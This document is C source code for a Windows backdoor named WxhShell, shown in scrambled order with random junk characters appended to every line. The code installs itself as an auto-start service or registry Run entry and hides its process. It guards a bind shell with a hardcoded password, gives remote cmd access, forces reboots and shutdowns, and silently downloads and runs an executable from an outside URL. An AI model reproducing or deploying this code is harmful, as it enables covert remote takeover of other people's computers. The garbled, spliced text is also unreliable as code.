    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A~k: m0MX  
    if(Boot(SHUTDOWN)) Lr\(7r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )w&|VvM )L  
    else { ^e =xEZD  
    closesocket(wsh); q%f90  
    ExitThread(0); ' Gx\  
    } *M:p[.=1  
    break; !{(crfXB  
    } <~v4BiQ3l^  
  // 获取shell 6MU;9|&  
  case 's': { +:70vZc:V@  
    CmdShell(wsh); A>S7Ap4z>  
    closesocket(wsh); 7oUo[  
    ExitThread(0); Rw[!Jq  
    break; eW3?3l`fvt  
  } #_3-(H5u  
  // 退出 F2<Q~gQ;  
  case 'x': { 3|G~_'`RLt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9<P%?Q  
    CloseIt(wsh); asp\4-?$o  
    break; e(1{W P  
    } wkPomTO  
  // 离开 }lJ|nl`c  
  case 'q': { eDNY|}$}v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HJ"sK5Q  
    closesocket(wsh); D(TfW   
    WSACleanup(); <bhJ>  
    exit(1); >nK (  
    break; RASk=B  
        } MOB'rPIUI  
  } ,1<6=vL  
  } OzRo  
w+!V,lU"^  
  // 提示信息 rXTdhw?+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "av/a   
} e9S*^2;  
  } \fUVWXv  
wu{%gtx/;^  
  return; -H_#et3&i  
} k!+v*+R+V  
+[S<"}ls7  
// shell模块句柄 #Ak9f-pf  
int CmdShell(SOCKET sock) 9nlj{(  
{ $}YN`:{  
STARTUPINFO si; L-q)48+^k  
ZeroMemory(&si,sizeof(si)); hA&m G33  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %){/O}I]>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -,mV~y  
PROCESS_INFORMATION ProcessInfo; NP~3!b  
char cmdline[]="cmd"; ^$oEM0h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fG.6S"|M  
  return 0; ^y|`\oyqwN  
} =ty{ugM<  
V!+<  
// 自身启动模式  _qt  
int StartFromService(void) s6 K~I  
{ v Oo^H  
typedef struct %^"i\- *|S  
{ 4m~p(r  
  DWORD ExitStatus; kqC7^x  
  DWORD PebBaseAddress; 2U+Fa t@  
  DWORD AffinityMask; 'q8:1i9\[  
  DWORD BasePriority; %/s+-j@s:  
  ULONG UniqueProcessId; 0.(7R,-  
  ULONG InheritedFromUniqueProcessId; NcSi%]  
}   PROCESS_BASIC_INFORMATION; .)FFl  
^fS_h `B  
PROCNTQSIP NtQueryInformationProcess; $Nj'_G\}  
_71I9V&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w>RwEU+w=@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D42!#  
4Xv."L  
  HANDLE             hProcess; |oR{c%z05  
  PROCESS_BASIC_INFORMATION pbi; brF) %x`  
nnd-d+$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y,<\d/YY@  
  if(NULL == hInst ) return 0; "*d%el\63  
%]F{aR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /KO2y0`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fj <a;oV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9Z3Y,`R,  
=}SC .E\  
  if (!NtQueryInformationProcess) return 0; "!Hm.^1  
Q 9JT6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zj1_#=]  
  if(!hProcess) return 0; 7#26Smv  
^7$Q"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GN|xd+O_  
VK}H;  
  CloseHandle(hProcess); q\fai^_  
#CB`7 }jq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;,B $lgF  
if(hProcess==NULL) return 0; dda*gq/p  
yfA h=  
HMODULE hMod; h61BIc@>  
char procName[255]; U owbk:  
unsigned long cbNeeded; ~llw_ w  
eI5W; Q4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )OQih+#?W  
$*+UX   
  CloseHandle(hProcess); @CCDe`R*  
[;7$ 'lr%D  
if(strstr(procName,"services")) return 1; // 以服务启动 p,OB;Ncf/  
PV/hnVUl  
  return 0; // 注册表启动 &=-{adm  
} +C=^,B!,  
1-pxM~Y  
// 主模块 tW3Nry  
int StartWxhshell(LPSTR lpCmdLine) ~\7peH%  
{ zids2/_*  
  SOCKET wsl; <r8s= <:  
BOOL val=TRUE; U+ief?;4F  
  int port=0; 2wYY0=k2  
  struct sockaddr_in door; hOcVxSc.  
glNXamo  
  if(wscfg.ws_autoins) Install(); { %af  
;J?zD9  
port=atoi(lpCmdLine); mS-{AK  
1jj.oa]  
if(port<=0) port=wscfg.ws_port; +"[}gss!@  
gG,gL 9o  
  WSADATA data; SRyot:l   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]y/!GFQ  
{UOR_Vt!*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9m2Yrj93  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )^Md ^\?  
  door.sin_family = AF_INET; /2]=.bLwz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :x_;-  
  door.sin_port = htons(port); 4VlQN$  
zT _[pa)O`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 77zDHq=  
closesocket(wsl); )Yw m_f-N  
return 1; X>s'_F?  
} ! d" i  
:*E#w"$,j  
  if(listen(wsl,2) == INVALID_SOCKET) { !K_ ke h  
closesocket(wsl); 7|pF (sb0  
return 1; jb!15Vlt"  
} @ u2 P&|:{  
  Wxhshell(wsl); |(UkI?V  
  WSACleanup(); !XrnD#  
fGDjX!3-S  
return 0; L t.Vo  
/AUXO]  
} x[eho,6)  
+Zo&c}  
// 以NT服务方式启动 H7R6Ljd?&S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <S`N9a  
{ $_0~Jzt,  
DWORD   status = 0; ]$ iqJL  
  DWORD   specificError = 0xfffffff; gye'_AR?k  
RS1c+]rr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }SF<. A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c/ABBvd|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !$^LTBOH3  
  serviceStatus.dwWin32ExitCode     = 0; m}>#s3KPA  
  serviceStatus.dwServiceSpecificExitCode = 0; zD}2Zh]  
  serviceStatus.dwCheckPoint       = 0; i slg5  
  serviceStatus.dwWaitHint       = 0; {qjw  S1v  
'6W|,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '"<h;|  
  if (hServiceStatusHandle==0) return; j`$d W H/2  
zXx)xIO  
status = GetLastError(); m%G:|`f7  
  if (status!=NO_ERROR) *we*IhIP  
{ YU24wTe;k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h(wu5G0C#u  
    serviceStatus.dwCheckPoint       = 0; $ -n?q w  
    serviceStatus.dwWaitHint       = 0; Wk&g!FR  
    serviceStatus.dwWin32ExitCode     = status; 9Fv VM9  
    serviceStatus.dwServiceSpecificExitCode = specificError; W_P&;)E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z4'8x h)-  
    return; O &De!Gx  
  } A +J&(7N  
y72=d?]W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; | ?])]F  
  serviceStatus.dwCheckPoint       = 0; CHX- 4-84{  
  serviceStatus.dwWaitHint       = 0; 982n G-"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :")iS?l  
} 4! V--F  
u!WjG@  
// 处理NT服务事件,比如:启动、停止 Yr9!</;T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {E+o+2L  
{ !XJS"owr  
switch(fdwControl) b )mU9   
{ \gjY h2>  
case SERVICE_CONTROL_STOP: Y$ To)qo  
  serviceStatus.dwWin32ExitCode = 0; j)neVPf%v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w-M,@[G  
  serviceStatus.dwCheckPoint   = 0; z&r@c-l@  
  serviceStatus.dwWaitHint     = 0; \9GJa"xA`  
  { *D$[@-7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mUW4d3tE  
  } nd)bRB  
  return; 1:r8p6  
case SERVICE_CONTROL_PAUSE: P7`sJ("#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; */JMPw&  
  break; Y &"rf   
case SERVICE_CONTROL_CONTINUE: TUV&9wKXo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "TboIABp:H  
  break; Nn%[J+F  
case SERVICE_CONTROL_INTERROGATE: LU=`K4  
  break; r#CQCq  
}; 0j )D[K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "<y0D!&  
} 6!GO{2d"  
;j]-;wg-;  
// 标准应用程序主函数 & NO:S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p%+uv\Ix  
{ `swf~  
ya^zlj\`0e  
// 获取操作系统版本 i`}nv,  
OsIsNt=GetOsVer(); R8U?s/*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g*nh8  
p#eai  
  // 从命令行安装 B5iVT<:a  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?i8a)!U  
qfQg?Mr  
  // 下载执行文件 eJ3w}"?9s  
if(wscfg.ws_downexe) { `x0GT\O2-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hH|moj]  
  WinExec(wscfg.ws_filenam,SW_HIDE); ..g?po  
} ,xeJf6es  
nr t3wqJ  
if(!OsIsNt) { r(#]Z   
// 如果时win9x,隐藏进程并且设置为注册表启动 9+o`/lk1  
HideProc(); wNX2*   
StartWxhshell(lpCmdLine); }c$@0x;YQ  
} YA vOV-L  
else gLyE,1Z}u  
  if(StartFromService()) 18xT2f  
  // 以服务方式启动 lS.&>{  
  StartServiceCtrlDispatcher(DispatchTable); -N3fhW#)  
else GYq.!d@O  
  // 普通方式启动 +hJ@w-u,G  
  StartWxhshell(lpCmdLine); ; n)9  
d/fg  
return 0; n\ yDMY  
} zFn-V EJ)  
@FBlF$vG  
3{wmKo|_X  
HoIK^t~VT#  
=========================================== TC%ENxDR  
%xq/eC7  
;MH<T6b  
6/Pw'4H9$  
BmP!/i_  
+l " z  
" v7ShXX:  
OcBK n=8  
#include <stdio.h> |H LU5=Y  
#include <string.h> l^B PTg)X@  
#include <windows.h> C{r Sq  
#include <winsock2.h> ,o3{?o]s  
#include <winsvc.h> ;6T>p  
#include <urlmon.h> $Z!$E,@c  
{O4y Y=G  
#pragma comment (lib, "Ws2_32.lib") g=T !fF=  
#pragma comment (lib, "urlmon.lib") <]jKpJ{3N  
k{?Pgf27  
#define MAX_USER   100 // 最大客户端连接数  9z9EK'g  
#define BUF_SOCK   200 // sock buffer w[bhm$SX]B  
#define KEY_BUFF   255 // 输入 buffer ^HYrJr$y  
P}AfXgr  
#define REBOOT     0   // 重启 HX(Z(rcI  
#define SHUTDOWN   1   // 关机 m|}};8  
<u 'q._m  
#define DEF_PORT   5000 // 监听端口 _h=kjc}[.O  
M+mO4q6  
#define REG_LEN     16   // 注册表键长度 am$-1+iX  
#define SVC_LEN     80   // NT服务名长度 ^"g # !  
]W-7 U_  
// 从dll定义API :j}]nS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); COF_a%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /Lf+*u>"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z uh!{_x;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); / p_mFA]@  
U',9t  
// wxhshell配置信息 [M7&  
struct WSCFG { [HV>4,,3"  
  int ws_port;         // 监听端口 2Op\`Ht &  
  char ws_passstr[REG_LEN]; // 口令 mkR1iY  
  int ws_autoins;       // 安装标记, 1=yes 0=no s C/5N  
  char ws_regname[REG_LEN]; // 注册表键名 >8pmClVvmR  
  char ws_svcname[REG_LEN]; // 服务名 $<y10DfO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zPC&p{S>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ranLHm.nB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VeJM=s.y7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w}OJ2^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~(BvI zzD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Kn WjP21  
!yo/ F& 6  
}; L7_qs+  
qM."W=XVN  
// default Wxhshell configuration dFu<h   
struct WSCFG wscfg={DEF_PORT, ~s :M l  
    "xuhuanlingzhe", DQ<{FN  
    1, 8hTtBa  
    "Wxhshell", qMk"i@"  
    "Wxhshell", `qNhB\  
            "WxhShell Service", lcv&/ A  
    "Wrsky Windows CmdShell Service", RY>BP[h  
    "Please Input Your Password: ", (&=<UGY(w  
  1, _;;'/rs j  
  "http://www.wrsky.com/wxhshell.exe", ?f\;z<e|  
  "Wxhshell.exe" Slk__eC  
    };  KKfC^g  
+x7b9sHJ  
// 消息定义模块 -R~!N#y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `30og]F0YJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V! sT2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @+gr>a1K#  
char *msg_ws_ext="\n\rExit."; RS$!TTeQ  
char *msg_ws_end="\n\rQuit."; 9^;)~ G  
char *msg_ws_boot="\n\rReboot..."; \Bg;^6U  
char *msg_ws_poff="\n\rShutdown..."; ^x! N]  
char *msg_ws_down="\n\rSave to "; jkPye{j  
muAI$IRR   
char *msg_ws_err="\n\rErr!"; @E(_H$|E  
char *msg_ws_ok="\n\rOK!"; (5^bU<  
6vx0F?>_  
char ExeFile[MAX_PATH]; +YL9gNN>P  
int nUser = 0; ZQZBap"  
HANDLE handles[MAX_USER]; Po%+:0oX  
int OsIsNt; @_gCGI>Q  
x >u \  
SERVICE_STATUS       serviceStatus; r[>=iim  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i|z=q  
'8au j  
// 函数声明 wkO8  
int Install(void); $_j\b4]%  
int Uninstall(void); Ft7{P.g  
int DownloadFile(char *sURL, SOCKET wsh); sXD.*D  
int Boot(int flag); ?B)jnBh|  
void HideProc(void); ?r~|B/ ]  
int GetOsVer(void); duCso M/  
int Wxhshell(SOCKET wsl); m+f?+c6  
void TalkWithClient(void *cs); _K4Igq  
int CmdShell(SOCKET sock); d)G' y  
int StartFromService(void); JGJXV3AT  
int StartWxhshell(LPSTR lpCmdLine); =F(fum;zH  
qjK'sge/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 52*9q!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @~4Q\^;NX  
e?Pzhh a  
// 数据结构和表定义 F,t ,Ja  
SERVICE_TABLE_ENTRY DispatchTable[] = Fk:yj 4'  
{ %gF; A*  
{wscfg.ws_svcname, NTServiceMain}, 'T(7EL3$}  
{NULL, NULL} !+& Rn\e%7  
}; b(hnouS  
WUVRwJ 5  
// 自我安装 [d( @lbV0  
int Install(void) ZyJdz+L{@V  
{ -Y*"!8  
  char svExeFile[MAX_PATH]; 9t 3mU:  
  HKEY key; UStNUNCq  
  strcpy(svExeFile,ExeFile); fM[Qn*.  
{uurM` f}:  
// 如果是win9x系统,修改注册表设为自启动 :# 1d;jx  
if(!OsIsNt) { DNARe!pK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kt(Z&@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?s4-2g  
  RegCloseKey(key); 8"d0Su4r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C~16Jj:v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =%p%+F@RlW  
  RegCloseKey(key); X[Lwx.Ly8  
  return 0; ! xU1[,9  
    } ]et4B+=i  
  } q*^Y8s~3I  
} d?j_L`?+  
else { ~0mO<0~  
-`z`K08sT  
// 如果是NT以上系统,安装为系统服务 Ca: jN0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T gpf0(  
if (schSCManager!=0) V3<baxdE  
{ y*Egt`W  
  SC_HANDLE schService = CreateService #6XN_<  
  ( =")}wl=s  
  schSCManager, ]K]$FX<f  
  wscfg.ws_svcname, &WSxg&YG)\  
  wscfg.ws_svcdisp, '#~$Od4&=  
  SERVICE_ALL_ACCESS, ?\GILB,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8PQn=k9  
  SERVICE_AUTO_START, jv:!vi:  
  SERVICE_ERROR_NORMAL, |N9::),<  
  svExeFile, )!h(oR  
  NULL, `rt  
  NULL, gW{<:6}!*  
  NULL, K;%P_f/KJP  
  NULL, ^4Nk13  
  NULL G_GPnKdd  
  ); JArSJ:}  
  if (schService!=0) Dg^n`[WO  
  { s>=DfE-;"  
  CloseServiceHandle(schService); _j$"fg  
  CloseServiceHandle(schSCManager); ,o $F~KPu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e rz9CX  
  strcat(svExeFile,wscfg.ws_svcname); "<c^`#CWuO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W6. )7Y,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "}_b,5lkGK  
  RegCloseKey(key); 'z=WJV;Vs  
  return 0; T3HAr9i%)  
    } <qG4[W,[  
  } 08J[9a0[  
  CloseServiceHandle(schSCManager); #) eI]  
} 8]@)0q {r  
} [>5<&[A  
` ZO#n  
return 1; Z(fXN$  
} ^[K3]*!@  
bRSE"B  
// 自我卸载  U 6((  
int Uninstall(void) k)Y}X)\36  
{ t' )47k\  
  HKEY key; gB4&pPN  
Lu.D,oP  
if(!OsIsNt) { 6#A g^A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l^.d 3b  
  RegDeleteValue(key,wscfg.ws_regname); "/ N ?$  
  RegCloseKey(key); Dj Z;LE>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YCv)DW;  
  RegDeleteValue(key,wscfg.ws_regname); Tr}z&efY  
  RegCloseKey(key); 6OBe^/ZRt  
  return 0; d~i WV6Va  
  } ?gknJ:  
} ?xftr(  
} VrV )qfG  
else { -^ )0c  
y v6V1gK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ws"{Y+L  
if (schSCManager!=0) Rne#z2Ok  
{ D?+\"lI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~SI`%^L  
  if (schService!=0) $uw[X  
  { DtXQLL*fl(  
  if(DeleteService(schService)!=0) { $;kFuJF  
  CloseServiceHandle(schService); fkLI$Cl  
  CloseServiceHandle(schSCManager); (mO{ W   
  return 0; j_` [Z  
  } s}2TJa  
  CloseServiceHandle(schService); D{-h2=V  
  } RMinZ}/  
  CloseServiceHandle(schSCManager); s)Gnj;  
} IM.sW'E  
} nkI+"$Rz0  
_n6ge*,E  
return 1; !n;0%"(FH  
}  HaJs)j  
9Fo00"q  
// 从指定url下载文件 xC3h m  
int DownloadFile(char *sURL, SOCKET wsh) {1 VHz])I  
{ T1$fu(f  
  HRESULT hr; BZS%p  
char seps[]= "/"; |l4tR  
char *token; K|i:tHF]@  
char *file; V=$ pXpro%  
char myURL[MAX_PATH]; 9CBKU4JQ  
char myFILE[MAX_PATH]; hv)>HU&  
w}8 ,ICL  
strcpy(myURL,sURL); tcDWx:Q  
  token=strtok(myURL,seps); 9v\x&h  
  while(token!=NULL) vY 0EffZ  
  { 0P{^aSxTP  
    file=token; U2v;[>=]  
  token=strtok(NULL,seps); Nk.m$  
  } $|kq{@<  
^Rr!YnEN  
GetCurrentDirectory(MAX_PATH,myFILE);  ?cG~M|@  
strcat(myFILE, "\\"); zKh^BwhO|X  
strcat(myFILE, file); i-.]onR  
  send(wsh,myFILE,strlen(myFILE),0); myq@X(K  
send(wsh,"...",3,0); s9[?{}gd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R07]{  
  if(hr==S_OK) cTC -cgp  
return 0; sj9j 47y  
else FEC`dSTI  
return 1; ^T?zR7r  
KT5amct  
} lN(|EI  
OD@k9I[  
// 系统电源模块 U46qpb 7  
int Boot(int flag) 0V RV. Ml  
{ jHPkfwfAF  
  HANDLE hToken; ro&/  
  TOKEN_PRIVILEGES tkp; a+HGlj 2>  
[Rj_p&'  
  if(OsIsNt) { 'CQ~ZV5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iXoEdt)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yH=Hrz:<eM  
    tkp.PrivilegeCount = 1; q8m{zSr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WGmXq.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gGaA;YW1  
if(flag==REBOOT) { 8v<802  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )WBp.j /#  
  return 0; c)*,">$#  
} {[|je ]3v  
else { g~7x+cu0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Arr(rM  
  return 0; T!f+H?6  
} VyMFALSe]h  
  } ?l> <?i  
  else { Vn=K5nm  
if(flag==REBOOT) { X-,mNv z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !_?K(X~/  
  return 0; k)3b0T@b  
} 2_/H,  
else { ?&`PN<~2z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g=gM}`X%  
  return 0; /"J3hSR  
} ]$7yB3S,B  
} +6~y1s/B[  
;s$,}O.  
return 1; 9ZD>_a  
} +^6a$ N  
MJ\^i4  
// win9x进程隐藏模块 euMJ c  
void HideProc(void) #Dz. 58A  
{ 4)Bk:K  
.5^7Jwh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i5*BZv>e  
  if ( hKernel != NULL ) B>;`$-  
  { XLgp.w;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N,3 )`Vm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (v,g=BS,  
    FreeLibrary(hKernel); ;hgRMkmz4<  
  } c]/X >8;  
p!o?2Lbiw  
return; F(; =^w  
} L eu93f2  
&cpqn2Z  
// 获取操作系统版本 -=InGm\Y  
int GetOsVer(void) z%q)}$O  
{ <#ng"1J  
  OSVERSIONINFO winfo; cU|tG!Ij?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1CR)1H  
  GetVersionEx(&winfo); !hugn6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f-BPT2U+  
  return 1; T;M4NGmvd  
  else shZEE2Dr  
  return 0; "$I8EW/1  
} \S_o{0ZY}  
:!QT ,  
// 客户端句柄模块 5M&<tj/[a0  
int Wxhshell(SOCKET wsl) 6no&2a|D  
{ iw{rns  
  SOCKET wsh; BhzcimC)  
  struct sockaddr_in client; LOEiV  
  DWORD myID; ~]Weyb[ N  
["H2H rI2  
  while(nUser<MAX_USER) cK1 Fv6V#  
{ 4n0Iw  I  
  int nSize=sizeof(client); Krd0Gc~\|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wBlo2WY  
  if(wsh==INVALID_SOCKET) return 1; wZg~k\_lF  
{00Qg{;K|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8zO;=R A7%  
if(handles[nUser]==0) Kgw, ]E&7  
  closesocket(wsh); vn x+1T  
else M\A6;dz'  
  nUser++; XY,!vLjL  
  } _[pbf ua  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2 {xf{)hO?  
sh/4ui{  
  return 0; !BjJ5m  
} v ;nnr0;  
U?xa^QVhj  
// 关闭 socket =/ +f3  
void CloseIt(SOCKET wsh) n[gc`#7|{e  
{ Ez+8B|0P  
closesocket(wsh); {U)q)  
nUser--; yIu_DFq%  
ExitThread(0); a_ \t(U  
} Y#zHw< <E  
RZ0+Uu/J  
// 客户端请求句柄 YS bS.tq  
void TalkWithClient(void *cs) Q%QIr  
{ c=f;3N  
v=~+o[  
  SOCKET wsh=(SOCKET)cs; `PtfPt<{  
  char pwd[SVC_LEN]; Kut@z>SK  
  char cmd[KEY_BUFF]; Pyp#'du>  
char chr[1]; G.~Ffk  
int i,j; SQ057V>'=  
5 )z'=  
  while (nUser < MAX_USER) { ncpNesB  
wz{&0-md*'  
if(wscfg.ws_passstr) { sdBB(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8^pu C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2f5YkmGc";  
  //ZeroMemory(pwd,KEY_BUFF); f&I5bPS7}  
      i=0; iBk1QRdn  
  while(i<SVC_LEN) { #'5{ ?Cb  
629ogJo8  
  // 设置超时 (H;,E-  
  fd_set FdRead; PQrc#dfc |  
  struct timeval TimeOut; 8'Iei78Ov  
  FD_ZERO(&FdRead); 07G'"=  
  FD_SET(wsh,&FdRead); 98*C/=^TH{  
  TimeOut.tv_sec=8; =@P]eK/  
  TimeOut.tv_usec=0; I&f!>y?,Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Eih6?Lpu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PU-L,]K  
! Q8y]9O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L5 wR4Ue)  
  pwd=chr[0]; P@0J!  
  if(chr[0]==0xd || chr[0]==0xa) { ?&D.b$  
  pwd=0; +ZR>ul-c  
  break; hm0MO,i"  
  } ~{ucr#]C  
  i++; FK @Gd)(  
    } 1fTf+P  
;NF:98  
  // 如果是非法用户,关闭 socket ZU;nXqjc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tu^C<MV  
} G%>{Z?!B  
t;}`~B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )T@?.J`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pp.] /;  
"}2I0tM  
while(1) { U U3o (Yq  
L0qL\>#ejr  
  ZeroMemory(cmd,KEY_BUFF); L|p+;ex  
w&*oWI$i  
      // 自动支持客户端 telnet标准   P1&Irwb`  
  j=0; O f]/tdPp  
  while(j<KEY_BUFF) { sZ0)f!aH:_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^;[^L=}8$  
  cmd[j]=chr[0]; |Es,$  
  if(chr[0]==0xa || chr[0]==0xd) { N j:W6? A  
  cmd[j]=0; rQ(u@u;  
  break; C[CNJ66  
  } $ve*j=p  
  j++; PY#_$ C  
    } >]x%+@{|  
hX:yn:P~  
  // 下载文件 aWY#gI{  
  if(strstr(cmd,"http://")) { k{ulu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); & kQj)  
  if(DownloadFile(cmd,wsh)) [*g'Y;W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _e "  
  else '26 ,.1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !1#=j;N`  
  } kR <\iT0j  
  else { jP.dQj^j&  
x,c\q$8yH  
    switch(cmd[0]) { _opB,,G  
  $49;\pBZl  
  // 帮助 zqLOwzMlLx  
  case '?': { \CBL[X5tr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S<g~VK!Tt  
    break; t\O#5mo  
  } SmV}Wf  
